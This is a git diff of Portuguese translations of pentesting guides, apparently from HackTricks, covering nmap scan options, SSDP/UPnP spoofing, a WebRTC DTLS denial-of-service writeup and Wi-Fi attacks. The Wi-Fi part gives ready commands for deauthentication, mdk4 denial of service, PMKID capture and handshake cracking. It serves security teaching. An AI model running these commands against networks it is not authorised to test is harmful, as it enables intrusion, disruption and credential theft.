ativos), evita a fase de descoberta. -* **`-sn`** : **Sem varredura de porta**. Após completar a fase de reconhecimento, não varre portas. É relativamente furtivo e permite uma pequena varredura de rede. Com privilégios, envia um ACK (-PA) para 80, um SYN(-PS) para 443 e uma solicitação de eco e uma solicitação de timestamp, sem privilégios sempre completa conexões. Se o alvo for a rede, ele usa apenas ARP(-PR). Se usado com outra opção, apenas os pacotes da outra opção são descartados. -* **`-PR`**: **Ping ARP**. É usado por padrão ao analisar computadores em nossa rede, é mais rápido do que usar pings. Se não quiser usar pacotes ARP, use `--send-ip`. -* **`-PS `**: Envia pacotes SYN para os quais, se responder SYN/ACK, está aberto (se responder com RST para não encerrar a conexão), se responder RST está fechado e se não responder está inalcançável. Caso não tenha privilégios, uma conexão total é usada automaticamente. Se nenhum porto for fornecido, ele envia para 80. +* **`-sL`**: Não é invasivo, lista os alvos fazendo **DNS** solicitações para resolver nomes. É útil para saber se, por exemplo, www.prueba.es/24 todos os Ips são nossos alvos. +* **`-Pn`**: **Sem ping**. Isso é útil se você sabe que todos estão ativos (caso contrário, você pode perder muito tempo, mas essa opção também produz falsos negativos dizendo que não estão ativos), impede a fase de descoberta. +* **`-sn`** : **Sem varredura de portas**. Após completar a fase de reconhecimento, não escaneia portas. É relativamente furtivo e permite uma pequena varredura de rede. Com privilégios, envia um ACK (-PA) para 80, um SYN(-PS) para 443 e uma solicitação de eco e uma solicitação de timestamp; sem privilégios, sempre completa conexões. Se o alvo for a rede, usa apenas ARP(-PR). Se usado com outra opção, apenas os pacotes da outra opção são descartados. +* **`-PR`**: **Ping ARP**. É usado por padrão ao analisar computadores em nossa rede, é mais rápido do que usar pings. Se você não quiser usar pacotes ARP, use `--send-ip`. +* **`-PS `**: Envia pacotes SYN para os quais, se responder SYN/ACK, está aberto (para o qual responde com RST para não encerrar a conexão); se responder RST, está fechado e se não responder, está inacessível. No caso de não ter privilégios, uma conexão total é usada automaticamente. Se nenhuma porta for fornecida, é direcionado para 80. * **`-PA `**: Como o anterior, mas com ACK, combinando ambos dá melhores resultados. -* **`-PU `**: O objetivo é o oposto, são enviados para portas que se espera estarem fechadas. Alguns firewalls verificam apenas conexões TCP. Se estiver fechado, é respondido com porta inalcançável, se for respondido com outro icmp ou não for respondido, é deixado como inalcançável. -* **`-PE, -PP, -PM`** : PINGS ICMP: resposta de eco, timestamp e máscara de endereço. São lançados para descobrir se o alvo está ativo. -* **`-PY`**: Envia sondas SCTP INIT para 80 por padrão, INIT-ACK(aberto) ou ABORT(fechado) ou nada ou ICMP inalcançável(inativo) podem ser respondidos. -* **`-PO `**: Um protocolo é indicado nos cabeçalhos, por padrão 1(ICMP), 2(IGMP) e 4(Encap IP). Para ICMP, IGMP, TCP (6) e UDP (17) os cabeçalhos do protocolo são enviados, para o restante apenas o cabeçalho IP é enviado. O objetivo disso é que, devido à má formação dos cabeçalhos, Protocolo inalcançável ou respostas do mesmo protocolo são respondidas para saber se está ativo. +* **`-PU `**: O objetivo é o oposto, são enviados para portas que se espera que estejam fechadas. Alguns firewalls verificam apenas conexões TCP. Se estiver fechado, é respondido com porta inacessível; se for respondido com outro icmp ou não for respondido, é deixado como inacessível. +* **`-PE, -PP, -PM`** : ICMP PINGS: resposta de eco, timestamp e máscara de endereço. Eles são lançados para descobrir se o alvo está ativo. +* **`-PY`**: Envia sondas SCTP INIT para 80 por padrão; INIT-ACK(aberto) ou ABORT(fechado) ou nada ou ICMP inacessível(inativo) podem ser respondidos. +* **`-PO `**: Um protocolo é indicado nos cabeçalhos; por padrão, 1(ICMP), 2(IGMP) e 4(Encap IP). Para protocolos ICMP, IGMP, TCP (6) e UDP (17), os cabeçalhos de protocolo são enviados; para os demais, apenas o cabeçalho IP é enviado. O objetivo disso é que, devido à má formação dos cabeçalhos, respostas de Protocolo inacessível ou do mesmo protocolo são respondidas para saber se está ativo. * **`-n`**: Sem DNS * **`-R`**: DNS sempre ### Técnicas de varredura de portas -* **`-sS`**: Não completa a conexão, portanto, não deixa rastros, muito bom se puder ser usado (privilégios). É o usado por padrão. -* **`-sT`**: Completa a conexão, portanto, deixa rastros, mas pode ser usado com certeza. Por padrão sem privilégios. -* **`-sU`**: Mais lento, para UDP. Principalmente: DNS(53), SNMP(161,162), DHCP(67 e 68), (-sU53,161,162,67,68): aberto(resposta), fechado(porta inalcançável), filtrado (outro ICMP), aberto/filtrado (nada). Em caso de aberto/filtrado, -sV envia numerosas solicitações para detectar qualquer uma das versões que o nmap suporta e pode detectar o verdadeiro estado. Isso aumenta muito o tempo. -* **`-sY`**: O protocolo SCTP falha em estabelecer a conexão, portanto, não há logs, funciona como -PY -* **`-sN,-sX,-sF`:** Null, Fin, Xmas, podem penetrar em alguns firewalls e extrair informações. Baseiam-se no fato de que máquinas compatíveis com o padrão devem responder com RST a todas as solicitações que não possuem flags SYN, RST ou ACK levantadas: aberto/filtrado(nada), fechado(RST), filtrado (ICMP inalcançável). Não confiável no Windows, CIsco, BSDI e OS/400. No Unix sim. -* **`-sM`**: Varredura Maimon: Envia flags FIN e ACK, usada para BSD, atualmente retornará todas como fechadas. -* **`-sA, sW`**: ACK e Window, são usados para detectar firewalls, para saber se as portas estão filtradas ou não. O -sW distingue entre aberto/fechado, já que os abertos respondem com um valor de janela diferente: aberto (RST com janela diferente de 0), fechado (janela RST = 0), filtrado (ICMP inalcançável ou nada). Nem todos os computadores funcionam dessa maneira, então se estiverem todos fechados, não está funcionando, se estiverem alguns abertos, está funcionando bem, e se estiverem muitos abertos e poucos fechados, está funcionando ao contrário. -* **`-sI`:** Varredura ociosa. Para os casos em que há um firewall ativo, mas sabemos que não filtra para um determinado IP (ou quando simplesmente queremos anonimato), podemos usar o scanner zumbi (funciona para todas as portas), para procurar possíveis zumbis podemos usar o script ipidseq ou o exploit auxiliary/scanner/ip/ipidseq. Este scanner é baseado no número IPID dos pacotes IP. +* **`-sS`**: Não completa a conexão, portanto não deixa rastros, muito bom se puder ser usado. (privilégios) É o que é usado por padrão. +* **`-sT`**: Completa a conexão, portanto deixa um rastro, mas pode ser usado com certeza. Por padrão, sem privilégios. +* **`-sU`**: Mais lento, para UDP. Principalmente: DNS(53), SNMP(161,162), DHCP(67 e 68), (-sU53,161,162,67,68): aberto(resposta), fechado(porta inacessível), filtrado (outro ICMP), aberto/filtrado (nada). No caso de aberto/filtrado, -sV envia numerosas solicitações para detectar qualquer uma das versões que o nmap suporta e pode detectar o verdadeiro estado. Aumenta muito o tempo. +* **`-sY`**: O protocolo SCTP falha ao estabelecer a conexão, portanto não há logs, funciona como -PY +* **`-sN,-sX,-sF`:** Null, Fin, Xmas, podem penetrar alguns firewalls e extrair informações. Eles se baseiam no fato de que máquinas compatíveis com o padrão devem responder com RST a todas as solicitações que não têm SYN, RST ou ACK. Respostas levantadas: aberto/filtrado(nada), fechado(RST), filtrado (ICMP inacessível). Não confiável no Windows, Cisco, BSDI e OS/400. No unix sim. +* **`-sM`**: Varredura Maimon: Envia flags FIN e ACK, usado para BSD, atualmente retornará tudo como fechado. +* **`-sA, sW`**: ACK e Window, é usado para detectar firewalls, para saber se as portas estão filtradas ou não. O -sW distingue entre aberto/fechado, uma vez que os abertos respondem com um valor de janela diferente: aberto (RST com janela diferente de 0), fechado (RST janela = 0), filtrado (ICMP inacessível ou nada). Nem todos os computadores funcionam dessa forma, então se tudo estiver fechado, não está funcionando; se estiverem poucos abertos, está funcionando bem; e se estiverem muitos abertos e poucos fechados, está funcionando ao contrário. +* **`-sI`:** Varredura Idle. Para os casos em que há um firewall ativo, mas sabemos que ele não filtra para um determinado Ip (ou quando simplesmente queremos anonimato), podemos usar o scanner zumbi (funciona para todas as portas); para procurar possíveis zumbis, podemos usar o script ipidseq ou o exploit auxiliar/scanner/ip/ipidseq. Este scanner é baseado no número IPID dos pacotes IP. * **`--badsum`:** Envia a soma errada, os computadores descartariam os pacotes, mas os firewalls poderiam responder algo, é usado para detectar firewalls. -* **`-sZ`:** Scanner SCTP "estranho", ao enviar sondas com fragmentos de eco de cookie eles devem ser descartados se estiverem abertos ou respondidos com ABORT se estiverem fechados. Pode passar por firewalls que o init não passa, o ruim é que não distingue entre filtrado e aberto. -* **`-sO`:** Varredura de protocolo Ip. Envia cabeçalhos ruins e vazios nos quais às vezes nem mesmo o protocolo pode ser distinguido. Se chegar um protocolo ICMP inalcançável está fechado, se chegar uma porta inalcançável está aberto, se chegar outro erro, filtrado, se não chegar nada, aberto|filtrado. -* **`-b `:** FTPhost--> É usado para escanear um host de outro, isso é feito conectando o ftp de outra máquina e pedindo para enviar arquivos para as portas que você deseja escanear de outra máquina, de acordo com as respostas saberemos se estão abertas ou não. \[\:\@]\\[:\] Quase todos os servidores ftp não permitem mais isso e, portanto, tem pouco uso prático. +* **`-sZ`:** Scanner SCTP "estranho", ao enviar sondas com fragmentos de cookie echo, eles devem ser descartados se abertos ou respondidos com ABORT se fechados. Pode passar por firewalls que o init não passa, o ruim é que não distingue entre filtrado e aberto. +* **`-sO`:** Varredura de protocolo IP. Envia cabeçalhos ruins e vazios nos quais às vezes nem o protocolo pode ser distinguido. Se chegar um protocolo ICMP inacessível, está fechado; se chegar uma porta inacessível, está aberta; se chegar outro erro, filtrado; se nada chegar, aberto|filtrado. +* **`-b `:** FTPhost--> É usado para escanear um host a partir de outro, isso é feito conectando o ftp de outra máquina e pedindo para ela enviar arquivos para as portas que você deseja escanear de outra máquina; de acordo com as respostas, saberemos se estão abertas ou não. \[\:\@]\\[:\] Quase todos os servidores ftps não permitem mais que você faça isso e, portanto, é de pouca utilidade prática. -### **Análise centralizada** +### **Centralizar análise** -**-p:** Serve para fornecer as portas a serem escaneadas. Para selecionar as 65335: **-p-** ou **-p all**. O Nmap tem uma classificação interna de acordo com sua popularidade. Por padrão, usa as 1000 principais. Com **-F** (varredura rápida) analisa as 100 principais. Com **--top-ports \** Analisa esse número de principais (de 1 até os 65335). Verifica as portas em ordem aleatória, para evitar isso **-r**. Também podemos selecionar portas: 20-30,80,443,1024- Isso último significa que olhe para frente do 1024. Também podemos agrupar as portas por protocolos: U:53,T:21-25,80,139,S:9. Também podemos escolher um intervalo dentro das portas populares do nmap: -p \[-1024] analisa até o 1024 dos incluídos em nmap-services. **--port-ratio \** Analisa as portas mais comuns que um ratio que deve estar entre 0 e 1 +**-p:** Serve para dar as portas a escanear. Para selecionar os 65335: **-p-** ou **-p all**. O nmap tem uma classificação interna de acordo com sua popularidade. Por padrão, usa os 1000 principais. Com **-F** (varredura rápida) analisa os 100 principais. Com **--top-ports \** Analisa esse número de principais (de 1 até 65335). Verifica as portas em ordem aleatória; para que isso não aconteça, use **-r**. Também podemos selecionar portas: 20-30,80,443,1024- Isso último significa que olhe adiante do 1024. Também podemos agrupar as portas por protocolos: U:53,T:21-25,80,139,S:9. Também podemos escolher um intervalo dentro das portas populares do nmap: -p \[-1024] analisa até 1024 dos incluídos em nmap-services. **--port-ratio \** Analisa as portas mais comuns que um ratio que deve estar entre 0 e 1 -**-sV** Varredura de versão, a intensidade pode ser ajustada de 0 a 9, por padrão 7. +**-sV** Escaneamento de versão, pode-se regular a intensidade de 0 a 9, por padrão 7. -**--version-intensity \** Regula a intensidade, de modo que quanto mais baixa, apenas enviará as sondas mais prováveis, mas não todas. Com isso, podemos encurtar consideravelmente o tempo de varredura UDP +**--version-intensity \** Regulamos a intensidade, de forma que quanto mais baixo, apenas lançará as sondas mais prováveis, mas não todas. Com isso, podemos encurtar consideravelmente o tempo de escaneamento UDP -**-O** Detecção de SO +**-O** Detecção de os -**--osscan-limit** Para escanear corretamente um host, é necessário que pelo menos uma porta esteja aberta e outra fechada, se essa condição não for atendida e tivermos definido isso, não tentará fazer previsão de SO (economiza tempo) -**--osscan-guess** Quando a detecção de os não é perfeita, isso faz com que o Nmap se esforce mais. +**--osscan-limit** Para escanear bem um host, é necessário que haja pelo menos 1 porta aberta e outra fechada; se essa condição não for atendida e tivermos colocado isso, não tenta fazer previsão de os (economiza tempo) + +**--osscan-guess** Quando a detecção de os não é perfeita, isso faz com que se esforce mais **Scripts** \--script _\_|_\_|_\_|_\_\[,...] -Para usar os scripts padrão, basta usar -sC ou --script=default +Para usar os de por efeito, vale com -sC ou --script=default -Os tipos disponíveis são: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version e vuln +Os tipos que há são de: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, e vuln -* **Auth:** executa todos os scripts disponíveis para autenticação -* **Default:** executa os scripts básicos padrão da ferramenta -* **Discovery:** recupera informações do alvo ou vítima -* **External:** script para utilizar recursos externos -* **Intrusive:** utiliza scripts considerados intrusivos para o alvo ou vítima -* **Malware:** verifica se há conexões abertas por códigos maliciosos ou backdoors -* **Safe:** executa scripts que não são intrusivos +* **Auth:** executa todos os _scripts_ disponíveis para autenticação +* **Default:** executa os _scripts_ básicos por padrão da ferramenta +* **Discovery:** recupera informações do _target_ ou vítima +* **External:** _script_ para utilizar recursos externos +* **Intrusive:** utiliza _scripts_ que são considerados intrusivos para a vítima ou _target_ +* **Malware:** verifica se há conexões abertas por códigos maliciosos ou _backdoors_ (portas traseiras) +* **Safe:** executa _scripts_ que não são intrusivos * **Vuln:** descobre as vulnerabilidades mais conhecidas -* **All:** executa todos os scripts NSE disponíveis +* **All:** executa absolutamente todos os _scripts_ com extensão NSE disponíveis Para buscar scripts: -**nmap --script-help="http-\*" -> Os que começam com http-** +**nmap --script-help="http-\*" -> Os que começam por http-** -**nmap --script-help="not intrusive" -> Todos exceto esses** +**nmap --script-help="not intrusive" -> Todos menos esses** -**nmap --script-help="default or safe" -> Os que estão em um ou no outro ou em ambos** +**nmap --script-help="default or safe" -> Os que estão em um ou em outro ou em ambos** **nmap --script-help="default and safe" --> Os que estão em ambos** @@ -110,43 +111,43 @@ Para buscar scripts: \--script-help _\_|_\_|_\_|_\_|all\[,...] -\--script-trace ---> Fornece informações sobre como o script está sendo executado +\--script-trace ---> Dá info de como vai o script \--script-updatedb -**Para usar um script, basta digitar: nmap --script Nome\_do\_script alvo** --> Ao especificar o script, ele será executado juntamente com o scanner. Portanto, também é possível adicionar opções do scanner. Podemos adicionar **“safe=1”** para executar apenas os scripts seguros. +**Para usar um script, só é necessário colocar: namp --script Nome\_do\_script objetivo** --> Ao colocar o script, ele será executado tanto o script quanto o escaneador, assim também podem ser colocadas opções do escaneador; podemos adicionar **“safe=1”** para que sejam executados apenas os que sejam seguros. **Controle de tempo** -**Nmap pode modificar o tempo em segundos, minutos, ms:** --host-timeout arguments 900000ms, 900, 900s e 15m fazem a mesma coisa. +**O Nmap pode modificar o tempo em segundos, minutos, ms:** --host-timeout arguments 900000ms, 900, 900s, e 15m fazem a mesma coisa. -Nmap divide o número total de hosts a serem escaneados em grupos e analisa esses grupos em blocos, de forma que não passa para o próximo bloco até que todos os hosts tenham sido analisados (e o usuário também não recebe nenhuma atualização até que o bloco tenha sido analisado). Dessa forma, é mais eficiente para o Nmap usar grupos grandes. Por padrão, em classe C, usa 256. +O Nmap divide o número total de hosts a escanear em grupos e analisa esses grupos em blocos, de forma que até que não tenham sido analisados todos, não passa para o próximo bloco (e o usuário também não recebe nenhuma atualização até que o bloco tenha sido analisado); dessa forma, é mais otimizado para o nmap usar grupos grandes. Por padrão, na classe C, usa 256. -Pode ser alterado com\*\*--min-hostgroup\*\* _**\**_**;** **--max-hostgroup** _**\**_ (Ajusta os tamanhos dos grupos de escaneamento paralelo) +Pode-se mudar com **--min-hostgroup** _**\**_; **--max-hostgroup** _**\**_ (Ajusta tamanhos de grupos de varredura paralela) -É possível controlar o número de scanners em paralelo, mas é melhor não fazer isso (o Nmap já incorpora um controle automático com base no estado da rede): **--min-parallelism** _**\**_**;** **--max-parallelism** _**\**_ +Pode-se controlar o número de escaneadores em paralelo, mas é melhor não (o nmap já incorpora controle automático com base no estado da rede): **--min-parallelism** _**\**_; **--max-parallelism** _**\**_ -Podemos modificar o tempo de rtt timeout, mas geralmente não é necessário: **--min-rtt-timeout** _**\
{% endhint %} diff --git a/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md b/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md index aa963b3bd..97c10e813 100644 --- a/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md +++ b/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md @@ -15,11 +15,11 @@ Aprenda e pratique Hacking GCP: {% endhint %} -**Verifique [https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) para mais informações.** +**Confira [https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) para mais informações.** ## **Visão Geral do SSDP & UPnP** -SSDP (Protocolo Simples de Descoberta de Serviços) é utilizado para publicidade e descoberta de serviços de rede, operando na porta UDP 1900 sem precisar de configurações DHCP ou DNS. É fundamental na arquitetura UPnP (Universal Plug and Play), facilitando a interação sem costura entre dispositivos em rede, como PCs, impressoras e dispositivos móveis. A rede de zero configuração do UPnP suporta descoberta de dispositivos, atribuição de endereços IP e publicidade de serviços. +SSDP (Protocolo de Descoberta de Serviço Simples) é utilizado para publicidade e descoberta de serviços de rede, operando na porta UDP 1900 sem necessidade de configurações DHCP ou DNS. É fundamental na arquitetura UPnP (Universal Plug and Play), facilitando a interação sem costura entre dispositivos em rede, como PCs, impressoras e dispositivos móveis. A rede de zero configuração do UPnP suporta descoberta de dispositivos, atribuição de endereços IP e publicidade de serviços. ## **Fluxo e Estrutura do UPnP** @@ -27,7 +27,7 @@ A arquitetura UPnP é composta por seis camadas: endereçamento, descoberta, des ## **Visão Geral do IGD & Ferramentas** -IGD (Dispositivo de Gateway de Internet) facilita mapeamentos de porta temporários em configurações NAT, permitindo a aceitação de comandos através de pontos de controle SOAP abertos, apesar das restrições padrão da interface WAN. Ferramentas como **Miranda** ajudam na descoberta de serviços UPnP e execução de comandos. **Umap** expõe comandos UPnP acessíveis pela WAN, enquanto repositórios como **upnp-arsenal** oferecem uma variedade de ferramentas UPnP. **Evil SSDP** se especializa em phishing através de dispositivos UPnP falsificados, hospedando modelos para imitar serviços legítimos. +IGD (Dispositivo de Gateway de Internet) facilita mapeamentos de porta temporários em configurações NAT, permitindo a aceitação de comandos através de pontos de controle SOAP abertos, apesar das restrições padrão da interface WAN. Ferramentas como **Miranda** ajudam na descoberta de serviços UPnP e na execução de comandos. **Umap** expõe comandos UPnP acessíveis pela WAN, enquanto repositórios como **upnp-arsenal** oferecem uma variedade de ferramentas UPnP. **Evil SSDP** se especializa em phishing através de dispositivos UPnP falsificados, hospedando modelos para imitar serviços legítimos. ## **Uso Prático do Evil SSDP** diff --git a/generic-methodologies-and-resources/pentesting-network/webrtc-dos.md b/generic-methodologies-and-resources/pentesting-network/webrtc-dos.md index 7dec0453d..6abd1de43 100644 --- a/generic-methodologies-and-resources/pentesting-network/webrtc-dos.md +++ b/generic-methodologies-and-resources/pentesting-network/webrtc-dos.md @@ -22,7 +22,7 @@ A vulnerabilidade descrita nos servidores de mídia WebRTC surge de uma **condi ### Origem da Vulnerabilidade 1. **Alocação de Porta UDP:** Quando um usuário inicia uma chamada WebRTC, o servidor de mídia aloca portas UDP para gerenciar os fluxos de mídia, com o IP e a porta comunicados via sinalização. -2. **Processos ICE e STUN:** O navegador do usuário utiliza ICE para verificação de consentimento de mídia, utilizando STUN para determinar o caminho de conexão para o servidor de mídia. +2. **Processos ICE e STUN:** O navegador do usuário utiliza ICE para verificação de consentimento de mídia, utilizando STUN para determinar o caminho de conexão até o servidor de mídia. 3. **Sessão DTLS:** Após a verificação bem-sucedida do STUN, uma sessão DTLS é iniciada para estabelecer chaves mestres SRTP, mudando para SRTP para o fluxo de mídia. ### Mecanismo de Exploração @@ -32,16 +32,16 @@ A vulnerabilidade descrita nos servidores de mídia WebRTC surge de uma **condi ### Processo de Ataque * **Escaneamento de Portas:** O atacante precisa adivinhar quais portas UDP estão lidando com sessões de mídia recebidas, enviando mensagens ClientHello com o conjunto de cifras nulo para essas portas para acionar a vulnerabilidade. -* **Diagrama do Ataque:** A sequência envolve várias mensagens ClientHello enviadas pelo atacante para o servidor, intercaladas com sinalizações legítimas e mensagens DTLS, levando a uma falha de handshake devido ao conjunto de cifras errôneo. +* **Diagrama do Ataque:** A sequência envolve múltiplas mensagens ClientHello enviadas pelo atacante para o servidor, intercaladas com sinalizações legítimas e mensagens DTLS, levando a uma falha de handshake devido ao conjunto de cifras errôneo. ### Testes e Mitigação * **Testes Seguros:** Usando ferramentas como Scapy, os atacantes reproduzem mensagens DTLS ClientHello direcionadas a portas de mídia específicas. Para testes éticos, modificações no Chromium (por exemplo, `JsepTransport::AddRemoteCandidates`) foram usadas para imitar o comportamento da vítima de forma segura. -* **Medidas de Mitigação:** As soluções envolvem descartar pacotes de endereços não verificados, conforme implementado em versões mais recentes de bibliotecas como libnice. A solução principal enfatiza confiar no processo de verificação ICE e processar apenas pacotes de combinações de IP e porta validadas. +* **Medidas de Mitigação:** As soluções envolvem descartar pacotes de endereços não verificados, como implementado em versões mais recentes de bibliotecas como libnice. A solução principal enfatiza confiar no processo de verificação ICE e processar apenas pacotes de combinações de IP e porta validadas. ### Cenários Não Vulneráveis -* **Configurações do Servidor DTLS:** Instâncias em que o navegador atua como um servidor DTLS ou quando o servidor de mídia não usa portas efêmeras para sessões de mídia não são suscetíveis a essa vulnerabilidade. +* **Configurações do Servidor DTLS:** Instâncias em que o navegador atua como um servidor DTLS ou quando o servidor de mídia não utiliza portas efêmeras para sessões de mídia não são suscetíveis a essa vulnerabilidade. ### Conclusão diff --git a/generic-methodologies-and-resources/pentesting-wifi/README.md b/generic-methodologies-and-resources/pentesting-wifi/README.md index 45cd79242..707457bac 100644 --- a/generic-methodologies-and-resources/pentesting-wifi/README.md +++ b/generic-methodologies-and-resources/pentesting-wifi/README.md @@ -10,14 +10,14 @@ Aprenda e pratique Hacking GCP: {% endhint %}
-Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs! +Junte-se ao [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) servidor para se comunicar com hackers experientes e caçadores de bugs! **Insights de Hacking**\ Engaje-se com conteúdo que explora a emoção e os desafios do hacking @@ -26,7 +26,7 @@ Engaje-se com conteúdo que explora a emoção e os desafios do hacking Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real **Últimos Anúncios**\ -Fique informado sobre os novos programas de recompensas por bugs lançados e atualizações cruciais da plataforma +Fique informado sobre as novas recompensas de bugs lançadas e atualizações cruciais da plataforma **Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje! @@ -71,8 +71,6 @@ docker run \ -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \ v1s1t0r1sh3r3/airgeddon ``` -From: [https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux) - ### wifiphisher Ele pode realizar ataques Evil Twin, KARMA e Known Beacons e, em seguida, usar um modelo de phishing para conseguir obter a senha real da rede ou capturar credenciais de redes sociais. @@ -89,7 +87,7 @@ Esta ferramenta automatiza ataques **WPS/WEP/WPA-PSK**. Ela irá automaticamente * Escanear redes possíveis - E permitir que você selecione a(s) vítima(s) * Se WEP - Lançar ataques WEP * Se WPA-PSK -* Se WPS: ataque Pixie dust e o ataque de força bruta (tenha cuidado, o ataque de força bruta pode demorar muito). Observe que não tenta PINs nulos ou PINs gerados/banco de dados. +* Se WPS: ataque Pixie dust e o ataque de força bruta (cuidado, o ataque de força bruta pode demorar muito). Observe que não tenta PIN nulo ou PINs gerados/banco de dados. * Tentar capturar o PMKID do AP para quebrá-lo * Tentar desautenticar clientes do AP para capturar um handshake * Se PMKID ou Handshake, tentar força bruta usando as 5000 senhas mais comuns. @@ -132,14 +130,14 @@ Ataques de **desautenticação**, um método prevalente em hacking Wi-Fi, envolv aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 ``` * -0 significa desautenticação -* 1 é o número de desautenticações a enviar (você pode enviar várias se desejar); 0 significa enviá-las continuamente +* 1 é o número de desautenticações a serem enviadas (você pode enviar várias se desejar); 0 significa enviá-las continuamente * -a 00:14:6C:7E:40:80 é o endereço MAC do ponto de acesso * -c 00:0F:B5:34:30:30 é o endereço MAC do cliente a ser desautenticado; se isso for omitido, então a desautenticação em broadcast é enviada (nem sempre funciona) * ath0 é o nome da interface ### Pacotes de Desassociação -**Pacotes de desassociação**, semelhantes aos pacotes de desautenticação, são um tipo de quadro de gerenciamento usado em redes Wi-Fi. Esses pacotes servem para romper a conexão entre um dispositivo (como um laptop ou smartphone) e um ponto de acesso (AP). A principal distinção entre desassociação e desautenticação reside em seus cenários de uso. Enquanto um AP emite **pacotes de desautenticação para remover dispositivos indesejados explicitamente da rede, pacotes de desassociação são tipicamente enviados quando o AP está passando por um desligamento**, reinicialização ou relocação, necessitando assim a desconexão de todos os nós conectados. +**Pacotes de desassociação**, semelhantes aos pacotes de desautenticação, são um tipo de quadro de gerenciamento usado em redes Wi-Fi. Esses pacotes servem para romper a conexão entre um dispositivo (como um laptop ou smartphone) e um ponto de acesso (AP). A principal distinção entre desassociação e desautenticação reside em seus cenários de uso. Enquanto um AP emite **pacotes de desautenticação para remover explicitamente dispositivos indesejados da rede, pacotes de desassociação são tipicamente enviados quando o AP está passando por um desligamento**, reinicialização ou relocação, necessitando assim a desconexão de todos os nós conectados. **Este ataque pode ser realizado pelo mdk4(modo "d"):** ```bash @@ -180,7 +178,7 @@ Probing de Pontos de Acesso (APs) verifica se um SSID está devidamente revelado **MODO DE ATAQUE m: Exploração de Contramedidas Michael** -Enviar pacotes aleatórios ou duplicados para diferentes filas de QoS pode acionar as Contramedidas Michael em **APs TKIP**, levando a uma interrupção do AP por um minuto. Este método é uma tática eficiente de ataque **DoS** (Negação de Serviço). +Enviar pacotes aleatórios ou duplicados para diferentes filas de QoS pode acionar as Contramedidas Michael em **APs TKIP**, levando a um desligamento do AP por um minuto. Este método é uma tática eficiente de ataque **DoS** (Negação de Serviço). ```bash # -t of a TKIP AP # -j use inteligent replay to create the DoS @@ -204,9 +202,9 @@ Conectar clientes a múltiplos nós WDS ou APs falsos pode manipular Sistemas de # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) mkd4 -e -c [-z] ``` -**MODO DE ATAQUE f: Fuzzing de Pacotes** +**MODO DE ATAQUE f: Packet Fuzzer** -Um fuzzing de pacotes com diversas fontes de pacotes e um conjunto abrangente de modificadores para manipulação de pacotes. +Um packet fuzzer com diversas fontes de pacotes e um conjunto abrangente de modificadores para manipulação de pacotes. ### **Airggedon** @@ -216,7 +214,7 @@ _**Airgeddon**_ oferece a maioria dos ataques propostos nos comentários anterio ## WPS -WPS (Wi-Fi Protected Setup) simplifica o processo de conectar dispositivos a um roteador, aumentando a velocidade e a facilidade de configuração para redes criptografadas com **WPA** ou **WPA2** Pessoal. É ineficaz para a segurança WEP, que é facilmente comprometida. O WPS utiliza um PIN de 8 dígitos, validado em duas metades, tornando-o suscetível a ataques de força bruta devido ao seu número limitado de combinações (11.000 possibilidades). +WPS (Wi-Fi Protected Setup) simplifica o processo de conectar dispositivos a um roteador, aumentando a velocidade e a facilidade de configuração para redes criptografadas com **WPA** ou **WPA2** Pessoal. É ineficaz para a segurança WEP, que é facilmente comprometida. O WPS utiliza um PIN de 8 dígitos, validado em duas partes, tornando-o suscetível a ataques de força bruta devido ao seu número limitado de combinações (11.000 possibilidades). ### WPS Bruteforce @@ -307,7 +305,7 @@ Como explica a postagem original, o **PMKID** é criado usando dados conhecidos: ```bash PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) ``` -Dado que o "Nome PMK" é constante, sabemos o BSSID do AP e da estação, e o `PMK` é idêntico ao de um handshake completo de 4 vias, **hashcat** pode usar essas informações para quebrar o PSK e recuperar a frase de acesso! +Dado que o "Nome PMK" é constante, sabemos o BSSID do AP e da estação, e o `PMK` é idêntico ao de um handshake completo de 4 vias, **hashcat** pode usar essas informações para quebrar o PSK e recuperar a frase secreta! Para **coletar** essas informações e **bruteforçar** localmente a senha, você pode fazer: ```bash @@ -321,7 +319,7 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1 #You can also obtains PMKIDs using eaphammer ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ``` -Os **PMKIDs capturados** serão exibidos no **console** e também **salvos** dentro de \_ **/tmp/attack.pcap**\_\ +Os **PMKIDs capturados** serão mostrados no **console** e também **salvos** dentro de \_ **/tmp/attack.pcap**\_\ Agora, converta a captura para o formato **hashcat/john** e quebre-a: ```bash hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng @@ -359,7 +357,7 @@ Uma vez que no `airodump-ng` aparece alguma informação de handshake, isso sign ![](<../../.gitbook/assets/image (172) (1).png>) -Uma vez que o handshake é capturado, você pode **crackear** com `aircrack-ng`: +Uma vez que o handshake é capturado, você pode **crack** com `aircrack-ng`: ``` aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap ``` @@ -391,15 +389,15 @@ Em **configurações de WiFi empresarial, você encontrará vários métodos de 